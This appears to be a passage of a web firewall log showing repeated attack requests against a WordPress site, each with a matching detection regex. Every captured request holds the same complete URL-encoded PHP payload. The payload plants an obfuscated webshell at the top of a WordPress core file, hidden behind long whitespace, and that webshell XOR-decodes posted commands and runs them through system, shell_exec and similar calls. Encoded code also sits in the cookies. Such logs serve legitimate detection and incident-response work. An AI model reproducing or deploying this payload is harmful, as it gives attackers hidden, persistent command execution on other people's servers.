0%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:45:41","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5347\nsec-fetch-user:?1\n\nMS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:52","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5347\nsec-fetch-user:?1\n\ntQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:57","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 